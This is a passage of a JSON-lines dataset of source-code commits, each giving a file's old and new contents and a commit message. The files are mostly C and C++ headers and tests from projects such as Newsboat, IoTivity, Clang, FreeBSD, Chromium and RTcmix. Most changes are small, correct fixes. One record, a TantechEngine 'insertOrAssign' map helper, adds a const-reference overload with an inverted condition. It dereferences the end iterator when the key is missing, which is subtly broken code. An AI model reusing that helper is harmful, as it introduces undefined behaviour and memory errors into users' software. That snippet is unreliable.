iconname);\n\tstatic QIcon getFileIcon(QString filename);\t\n};\n*\/\n\n#endif\n","subject":"Fix up the Lumina compilation on 10.x","message":"Fix up the Lumina compilation on 10.x\n","lang":"C","license":"bsd-2-clause","repos":"pcbsd\/external-projects,pcbsd\/external-projects,pcbsd\/external-projects,pcbsd\/external-projects"}
{"commit":"441be63dc78aa784d22bdb6d07b8d3c35617df04","old_file":"test\/small1\/wchar1_freebsd.c","new_file":"test\/small1\/wchar1_freebsd.c","old_contents":"","new_contents":"# 1 \"wchar1.c\"\n# 1 \"testharness.h\" 1\nextern int printf(const char *, ...);\nextern void exit(int);\n\n \n\n\n\n# 1 \"wchar1.c\" 2\n\n# 1 \"\/usr\/include\/stddef.h\" 1 3\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# 1 \"\/usr\/include\/machine\/ansi.h\" 1 3\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n\n\n\n\ntypedef\tint __attribute__((__mode__(__DI__)))\t\t __int64_t;\ntypedef\tunsigned int __attribute__((__mode__(__DI__)))\t__uint64_t;\n\n\n\n\n\n\n \n\n\n\ntypedef\t__signed char\t\t   __int8_t;\ntypedef\tunsigned char\t\t  __uint8_t;\ntypedef\tshort\t\t\t  __int16_t;\ntypedef\tunsigned short\t\t __uint16_t;\ntypedef\tint\t\t\t  __int32_t;\ntypedef\tunsigned int\t\t __uint32_t;\n\ntypedef\tint\t\t\t __intptr_t;\ntypedef\tunsigned int\t\t__uintptr_t;\n\n \n\n\n\ntypedef union {\n\tchar\t\t__mbstate8[128];\n\t__int64_t\t_mbstateL;\t\t \n} __mbstate_t;\n\n\n# 41 \"\/usr\/include\/stddef.h\" 2 3\n\n\ntypedef\tint \tptrdiff_t;\n\n\n\ntypedef\tint  \trune_t;\n\n\n\n\n\ntypedef\tunsigned int \tsize_t;\n\n\n\n\ntypedef\tint  \twchar_t;\n\n\n\n\n\n\n\n\n\n\n# 2 \"wchar1.c\" 2\n\n\nint main() {\n  wchar_t *wbase = L\"Hello\" L\", world\";\n  char * w = (char *)wbase;\n  char * s =  \"Hello\" \", world\";\n  int i;\n\n  for (i=0; i < 10; i++) {\n    if (w[i * sizeof(wchar_t)] != s[i]) {\n      { printf(\"Error %d\\n\",  1 ); exit( 1 ); } ; \n    } \n    if (w[i * sizeof(wchar_t)+ 1] != 0) {\n      { printf(\"Error %d\\n\",  2 ); exit( 2 ); } ;\n    } \n  }\n  { printf(\"Success\\n\"); exit(0); } ;\n}\n","subject":"Test reported by Axel, our FreeBSD user. This file is the postprocessed result from a FreeBSD machine. This command fails:","message":"Test reported by Axel, our FreeBSD user. This file is the postprocessed\nresult from a FreeBSD machine. This command fails:\n\n..\/bin\/cilly small1\/wchar1_freebsd.c\n\nIGNORE\n","lang":"C","license":"bsd-3-clause","repos":"samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c"}
{"commit":"d09f9e3fd3ca978e0a20e63bdeb906c9592baf82","old_file":"include\/fileurlreader.h","new_file":"include\/fileurlreader.h","old_contents":"#ifndef NEWSBOAT_FILEURLREADER_H_\n#define NEWSBOAT_FILEURLREADER_H_\n\n#include <string>\n\n#include \"urlreader.h\"\n\nnamespace newsboat {\n\nclass FileUrlReader : public UrlReader {\npublic:\n\texplicit FileUrlReader(const std::string& file = \"\");\n\n\tnonstd::optional<std::string> reload() override;\n\tstd::string get_source() override;\n\n\t\/\/\/ \\brief Write URLs back to the input file.\n\t\/\/\/\n\t\/\/\/ This method is used after importing feeds from OPML.\n\tnonstd::optional<std::string> write_config();\n\nprivate:\n\tconst std::string filename;\n};\n\n}\n\n#endif \/* NEWSBOAT_FILEURLREADER_H_ *\/\n","new_contents":"#ifndef NEWSBOAT_FILEURLREADER_H_\n#define NEWSBOAT_FILEURLREADER_H_\n\n#include <string>\n\n#include \"urlreader.h\"\n\nnamespace newsboat {\n\nclass FileUrlReader : public UrlReader {\npublic:\n\texplicit FileUrlReader(const std::string& file = \"\");\n\n\t\/\/\/ \\brief Load URLs from the urls file.\n\t\/\/\/\n\t\/\/\/ \\return A non-value on success, an error message otherwise.\n\tnonstd::optional<std::string> reload() override;\n\n\tstd::string get_source() override;\n\n\t\/\/\/ \\brief Write URLs back to the urls file.\n\t\/\/\/\n\t\/\/\/ \\return A non-value on success, an error message otherwise.\n\tnonstd::optional<std::string> write_config();\n\nprivate:\n\tconst std::string filename;\n};\n\n}\n\n#endif \/* NEWSBOAT_FILEURLREADER_H_ *\/\n","subject":"Document return value of FileUrlReader's reload() and write_config()","message":"Document return value of FileUrlReader's reload() and write_config()\n","lang":"C","license":"mit","repos":"der-lyse\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat"}
{"commit":"1cba0a11831e8920b4a958eee14d9785b034ad85","old_file":"include\/oc_clock_util.h","new_file":"include\/oc_clock_util.h","old_contents":"\/*\n\/\/ Copyright (c) 2019 Intel Corporation\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n*\/\n\n#ifndef OC_CLOCK_UTIL_H\n#define OC_CLOCK_UTIL_H\n\n#include \"oc_config.h\"\nsize_t oc_clock_time_rfc3339(char *out_buf, size_t out_buf_len);\n\nsize_t oc_clock_encode_time_rfc3339(oc_clock_time_t time, char *out_buf,\n                                    size_t out_buf_len);\n\noc_clock_time_t oc_clock_parse_time_rfc3339(const char *in_buf,\n                                            size_t in_buf_len);\n\n#endif \/* OC_CLOCK_UTIL_H *\/\n","new_contents":"\/*\n\/\/ Copyright (c) 2019 Intel Corporation\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n*\/\n\n#ifndef OC_CLOCK_UTIL_H\n#define OC_CLOCK_UTIL_H\n\n#include \"oc_config.h\"\n#include <stddef.h>\n\nsize_t oc_clock_time_rfc3339(char *out_buf, size_t out_buf_len);\n\nsize_t oc_clock_encode_time_rfc3339(oc_clock_time_t time, char *out_buf,\n                                    size_t out_buf_len);\n\noc_clock_time_t oc_clock_parse_time_rfc3339(const char *in_buf,\n                                            size_t in_buf_len);\n\n#endif \/* OC_CLOCK_UTIL_H *\/\n","subject":"Fix unknown type name 'size_t' error","message":"Fix unknown type name 'size_t' error\n\nfreertos build fails complaining that size_t is an unknown type.\n'size_t' is defined in stddef.h so is is included in the\noc_clock_util header file to resolve the error.\n\nChange-Id: I9cfe5daa7850ca33f920be6b276609ee659584c1\nSigned-off-by: George Nash <acbdc39d528a4315fe0b532d55c50ae46f5c1667@intel.com>\nReviewed-on: https:\/\/gerrit.iotivity.org\/gerrit\/27890\nTested-by: IoTivity Jenkins <6267f6022d49a8a37a7fe97da24aebfab797522c@iotivity.org>\nReviewed-by: Kishen Maloor <c62ddea3cd661a9268bff15f07fc2229cdc9ac02@intel.com>\n","lang":"C","license":"apache-2.0","repos":"iotivity\/iotivity-constrained,iotivity\/iotivity-constrained,iotivity\/iotivity-constrained,iotivity\/iotivity-constrained"}
{"commit":"0630e7a6a475b03e1ea1a04de82d495acc839373","old_file":"test\/Driver\/offloading-interoperability.c","new_file":"test\/Driver\/offloading-interoperability.c","old_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -no-canonical-prefixes -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp=libomp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le-unknown-linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: {{ld(.exe)?\"}} {{.*}}\"-m\" \"elf64lppc\"\n","new_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -no-canonical-prefixes -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp=libomp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\"{{( \"--cuda\")?}} \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le-unknown-linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: {{ld(.exe)?\"}} {{.*}}\"-m\" \"elf64lppc\"\n","subject":"Revise test case due to the change from CUDA 10+.","message":"Revise test case due to the change from CUDA 10+.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@362232 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"74337bcad01fa0cdf02b4df8bedce9c23177ccbc","old_file":"linuxffbeffectfactory.h","new_file":"linuxffbeffectfactory.h","old_contents":"#ifndef LINUXFFBEFFECTFACTORY_H\n#define LINUXFFBEFFECTFACTORY_H\n\n#include \"globals.h\"\n#include \"linuxffbconditioneffect.h\"\n#include \"linuxffbconstanteffect.h\"\n#include \"ffbnulleffect.h\"\n#include \"linuxffbperiodiceffect.h\"\n#include \"linuxffbrampeffect.h\"\n#include \"linuxffbrumbleeffect.h\"\n\nclass LinuxFFBEffectFactory\n{\npublic:\n  static std::shared_ptr<FFBEffect> createEffect(FFBEffectTypes type);\n\nprivate:\n  LinuxFFBEffectFactory() {};\n\n};\n\n#endif \/\/ LINUXFFBEFFECTFACTORY_H\n","new_contents":"#ifndef LINUXFFBEFFECTFACTORY_H\n#define LINUXFFBEFFECTFACTORY_H\n\n#include \"globals.h\"\n#include \"linuxffbconditioneffect.h\"\n#include \"linuxffbconstanteffect.h\"\n#include \"ffbnulleffect.h\"\n#include \"linuxffbperiodiceffect.h\"\n#include \"linuxffbrampeffect.h\"\n#include \"linuxffbrumbleeffect.h\"\n\nclass LinuxFFBEffectFactory\n{\npublic:\n  static std::shared_ptr<FFBEffect> createEffect(FFBEffectTypes type);\n\n  LinuxFFBEffectFactory() = delete;\n};\n\n#endif \/\/ LINUXFFBEFFECTFACTORY_H\n","subject":"Use deleted instead of private constructors","message":"Use deleted instead of private constructors\n","lang":"C","license":"mit","repos":"MadCatX\/FFBChecker,MadCatX\/FFBChecker"}
{"commit":"d2b61ae1f672f6b0c6495d6571df298047e858f2","old_file":"Tropos\/Models\/TRWeatherUpdate.h","new_file":"Tropos\/Models\/TRWeatherUpdate.h","old_contents":"@class TRTemperature;\n\n@interface TRWeatherUpdate : NSObject\n\n@property (nonatomic, copy, readonly) NSString *city;\n@property (nonatomic, copy, readonly) NSString *state;\n@property (nonatomic, copy, readonly) NSString *conditionsDescription;\n@property (nonatomic, readonly) TRTemperature *currentTemperature;\n@property (nonatomic, readonly) TRTemperature *currentHigh;\n@property (nonatomic, readonly) TRTemperature *currentLow;\n@property (nonatomic, readonly) TRTemperature *yesterdaysTemperature;\n@property (nonatomic, readonly) CGFloat windSpeed;\n@property (nonatomic, readonly) CGFloat windBearing;\n@property (nonatomic, readonly) NSDate *date;\n@property (nonatomic, copy, readonly) NSArray *dailyForecasts;\n\n- (instancetype)initWithPlacemark:(CLPlacemark *)placemark currentConditionsJSON:(id)currentConditionsJSON yesterdaysConditionsJSON:(id)yesterdaysConditionsJSON;\n\n@end\n\n#import \"TRAnalyticsEvent.h\"\n\n@interface TRWeatherUpdate (TRAnalytics) <TRAnalyticsEvent>\n\n@end\n","new_contents":"@class CLPlacemark;\n@class TRTemperature;\n\n@interface TRWeatherUpdate : NSObject\n\n@property (nonatomic, copy, readonly) NSString *city;\n@property (nonatomic, copy, readonly) NSString *state;\n@property (nonatomic, copy, readonly) NSString *conditionsDescription;\n@property (nonatomic, readonly) TRTemperature *currentTemperature;\n@property (nonatomic, readonly) TRTemperature *currentHigh;\n@property (nonatomic, readonly) TRTemperature *currentLow;\n@property (nonatomic, readonly) TRTemperature *yesterdaysTemperature;\n@property (nonatomic, readonly) CGFloat windSpeed;\n@property (nonatomic, readonly) CGFloat windBearing;\n@property (nonatomic, readonly) NSDate *date;\n@property (nonatomic, copy, readonly) NSArray *dailyForecasts;\n\n- (instancetype)initWithPlacemark:(CLPlacemark *)placemark currentConditionsJSON:(id)currentConditionsJSON yesterdaysConditionsJSON:(id)yesterdaysConditionsJSON;\n\n@end\n\n#import \"TRAnalyticsEvent.h\"\n\n@interface TRWeatherUpdate (TRAnalytics) <TRAnalyticsEvent>\n\n@end\n","subject":"Fix compiler error about undeclared type","message":"Fix compiler error about undeclared type\n","lang":"C","license":"mit","repos":"hanpanpan200\/Tropos,red3\/Tropos,Ezimetzhan\/Tropos,andreamazz\/Tropos,red3\/Tropos,hanpanpan200\/Tropos,andreamazz\/Tropos,thoughtbot\/Tropos,tkafka\/Tropos,kevinnguy\/Tropos,coty\/Tropos,ashfurrow\/Tropos,Ezimetzhan\/Tropos,tkafka\/Tropos,ashfurrow\/Tropos,lufeifan531\/Tropos,thoughtbot\/Tropos,kevinnguy\/Tropos,lufeifan531\/Tropos,andreamazz\/Tropos,faimin\/Tropos,iOSTestApps\/Tropos,red3\/Tropos,hanpanpan200\/Tropos,faimin\/Tropos,faimin\/Tropos,iOSTestApps\/Tropos,tkafka\/Tropos,thoughtbot\/Tropos,coty\/Tropos,lufeifan531\/Tropos,coty\/Tropos,Ezimetzhan\/Tropos,kevinnguy\/Tropos"}
{"commit":"145b28f1c040a2053547ba384e04492f2c130749","old_file":"tools\/regression\/pipe\/pipe-reverse2.c","new_file":"tools\/regression\/pipe\/pipe-reverse2.c","old_contents":"","new_contents":"\/*-\n * Copyright (c) 2010 Jilles Tjoelker\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#include\t<sys\/select.h>\n\n#include\t<err.h>\n#include\t<stdio.h>\n#include\t<unistd.h>\n\n\/*\n * Check that pipes can be selected for writing in the reverse direction.\n *\/\nint\nmain(int argc, char *argv[])\n{\n\tint pip[2];\n\tfd_set set;\n\tint n;\n\n\tif (pipe(pip) == -1)\n\t\terr(1, \"FAIL: pipe\");\n\n\tFD_ZERO(&set);\n\tFD_SET(pip[0], &set);\n\tn = select(pip[1] + 1, NULL, &set, NULL, &(struct timeval){ 0, 0 });\n\tif (n != 1)\n\t\terrx(1, \"FAIL: select initial reverse direction\");\n\n\tn = write(pip[0], \"x\", 1);\n\tif (n != 1)\n\t\terr(1, \"FAIL: write reverse direction\");\n\n\tFD_ZERO(&set);\n\tFD_SET(pip[0], &set);\n\tn = select(pip[1] + 1, NULL, &set, NULL, &(struct timeval){ 0, 0 });\n\tif (n != 1)\n\t\terrx(1, \"FAIL: select reverse direction after write\");\n\n\tprintf(\"PASS\\n\");\n\n\treturn (0);\n}\n","subject":"Add a test for r228510.","message":"Add a test for r228510.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"bc11202f53d082c559ff5d0ce1693c463b4777db","old_file":"VisualPractice\/auxiliary.h","new_file":"VisualPractice\/auxiliary.h","old_contents":"#ifndef TE_AUXILIARY_H\n#define TE_AUXILIARY_H\n\nstruct SDL_Rect;\n\nnamespace te\n{\n\n    struct Vector2i;\n    class Rectangle;\n\n    bool checkCollision(const SDL_Rect& a, const SDL_Rect& b);\n    bool checkCollision(const Rectangle& a, const Rectangle& b);\n\n    SDL_Rect getIntersection(const SDL_Rect& a, const SDL_Rect& b);\n    SDL_Rect getIntersection(const Rectangle& a, const Rectangle& b);\n\n    Vector2i getCenter(const SDL_Rect& rect);\n    Vector2i getCenter(const Rectangle& rect);\n\n    void handlePaddleCollision(Rectangle& ball, const Rectangle& paddle, float dt, float velocityScalar = 200.f);\n    void handleWallCollision(Rectangle& ball, const Rectangle& wall, float dt);\n}\n\n#endif\n","new_contents":"#ifndef TE_AUXILIARY_H\n#define TE_AUXILIARY_H\n\n#include <map>\n\nstruct SDL_Rect;\n\nnamespace te\n{\n\n    struct Vector2i;\n    class Rectangle;\n\n    bool checkCollision(const SDL_Rect& a, const SDL_Rect& b);\n    bool checkCollision(const Rectangle& a, const Rectangle& b);\n\n    SDL_Rect getIntersection(const SDL_Rect& a, const SDL_Rect& b);\n    SDL_Rect getIntersection(const Rectangle& a, const Rectangle& b);\n\n    Vector2i getCenter(const SDL_Rect& rect);\n    Vector2i getCenter(const Rectangle& rect);\n\n    void handlePaddleCollision(Rectangle& ball, const Rectangle& paddle, float dt, float velocityScalar = 200.f);\n    void handleWallCollision(Rectangle& ball, const Rectangle& wall, float dt);\n\n    template <class K, class V>\n    void insertOrAssign(std::map<K,V>& map, std::pair<K, V>&& kvPair)\n    {\n        auto it = map.find(kvPair.first);\n        if (it == map.end())\n        {\n            map.insert(std::move(kvPair));\n        }\n        else\n        {\n            it->second = std::move(kvPair.second);\n        }\n    }\n\n    template <class K, class V>\n    void insertOrAssign(std::map<K, V>& map, const std::pair<K, V>& kvPair)\n    {\n        auto it = map.find(kvPair.first);\n        if (it != map.end())\n        {\n            map.insert(kvPair);\n        }\n        else\n        {\n            it->second = kvPair.second;\n        }\n    }\n}\n\n#endif\n","subject":"Add insertOrAssign helper for maps","message":"Add insertOrAssign helper for maps\n","lang":"C","license":"mit","repos":"evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine"}
{"commit":"ee1c71c7abb67a59dd754a92989c9d18758b2eea","old_file":"webkit\/glue\/form_data.h","new_file":"webkit\/glue\/form_data.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  FormData() : user_submitted(false) {}\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","subject":"Add a default constructor for FormData. There are too many places that create FormDatas, and we shouldn't need to initialize user_submitted for each call site.","message":"AutoFill: Add a default constructor for FormData. There are too many places\nthat create FormDatas, and we shouldn't need to initialize user_submitted for\neach call site.\n\nBUG=50423\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/3074023\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@54641 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: a7f3d5712d54ae80ca6a2a747522f8ae65c0ed98","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"b3676dfdad184acc12b768f5c82e3ec7ccecbaf5","old_file":"src\/rtcmix\/Instrument.h","new_file":"src\/rtcmix\/Instrument.h","old_contents":"extern \"C\" {\n#include <sys\/types.h>\n}\n\nclass Instrument {\npublic:\n\tfloat start;\n\tfloat dur;\n\tint cursamp;\n\tint chunksamps;\n\tint endsamp;\n\tint nsamps;\n\tunsigned long chunkstart;\n\n\tint sfile_on; \t\t\/\/ a soundfile is open (for closing later)\n\tint fdIndex;            \/\/ index into unix input file desc. table\n\tint inputchans;\n\tdouble inputsr;\n\toff_t fileOffset;       \/\/ current offset in file for this inst\n\tint mytag;              \/\/ for note tagging\/rtupdate()\t\n\n\tInstrument();\n\tvirtual ~Instrument();\n\tvirtual int init(float*, short);\n\tvirtual int run();\n\n\tvirtual float getstart();\n\tvirtual float getdur(); \n\tvirtual int getendsamp();\n\tvirtual void setendsamp(int);\n\tvirtual void setchunk(int);\n\tvirtual void setchunkstart(int);\nprivate:\n\tvoid gone(); \/\/ decrements reference to input soundfile\n};\n\nextern void heapify(Instrument *Iptr);\nextern void heapSched(Instrument *Iptr);\nextern int rtsetoutput(float, float, Instrument*);\nextern int rtsetinput(float, Instrument*);\nextern int rtaddout(float*);\nextern int rtbaddout(float*, int);\nextern \"C\" int rtgetin(float*, Instrument*, int);\nextern float rtupdate(int, int); \/\/ tag, p-field for return value\n","new_contents":"#include <sys\/types.h>\n\nclass Instrument {\npublic:\n\tfloat start;\n\tfloat dur;\n\tint cursamp;\n\tint chunksamps;\n\tint endsamp;\n\tint nsamps;\n\tunsigned long chunkstart;\n\n\tint sfile_on; \t\t\/\/ a soundfile is open (for closing later)\n\tint fdIndex;            \/\/ index into unix input file desc. table\n\tint inputchans;\n\tdouble inputsr;\n\toff_t fileOffset;       \/\/ current offset in file for this inst\n\tint mytag;              \/\/ for note tagging\/rtupdate()\t\n\n\tInstrument();\n\tvirtual ~Instrument();\n\tvirtual int init(float*, short);\n\tvirtual int run();\n\n\tvirtual float getstart();\n\tvirtual float getdur(); \n\tvirtual int getendsamp();\n\tvirtual void setendsamp(int);\n\tvirtual void setchunk(int);\n\tvirtual void setchunkstart(int);\nprivate:\n\tvoid gone(); \/\/ decrements reference to input soundfile\n};\n\nextern void heapify(Instrument *Iptr);\nextern void heapSched(Instrument *Iptr);\nextern int rtsetoutput(float, float, Instrument*);\nextern int rtsetinput(float, Instrument*);\nextern int rtaddout(float*);\nextern int rtbaddout(float*, int);\nextern int rtgetin(float*, Instrument*, int);\nextern float rtupdate(int, int); \/\/ tag, p-field for return value\n","subject":"Remove apparently uneccessary extern C stuff","message":"Remove apparently uneccessary extern C stuff\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
